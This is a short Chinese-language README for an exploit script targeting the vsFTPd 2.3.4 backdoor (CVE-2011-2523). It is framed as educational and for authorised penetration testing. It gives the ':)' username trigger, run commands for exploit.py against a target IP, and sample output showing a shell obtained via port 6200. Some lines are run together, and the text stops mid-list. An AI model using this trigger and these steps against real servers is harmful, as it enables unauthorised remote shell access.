本项目演示了使用 Python 和 pwntools 对 vsFTPd 2.3.4 后门漏洞 (CVE-2011-2523) 的利用。
免责声明: 本项目仅用于教育和授权渗透测试目的。严禁在未经许可的情况下对系统使用。
👉 存在漏洞的 vsFTPd 版本包含一个恶意后门,当登录时使用的用户名包含 :) 时会被触发。
vsFTPd 2.3.4USER hello:))pwntools 库安装依赖:
pip install pwntools
python3 exploit.py <TARGET_IP>
python3 exploit.py <TARGET_IP> <PORT>
python3 exploit.py 192.168.190.140
[+] Checking FTP Version...
[+] Triggering backdoor...
[+] Connecting to backdoor....
[+] Got Shell
$
目标必须运行 vsFTPd 2.3.4 (存在漏洞的版本)
端口 6200 必须可达
在以下实验室环境中效果最佳: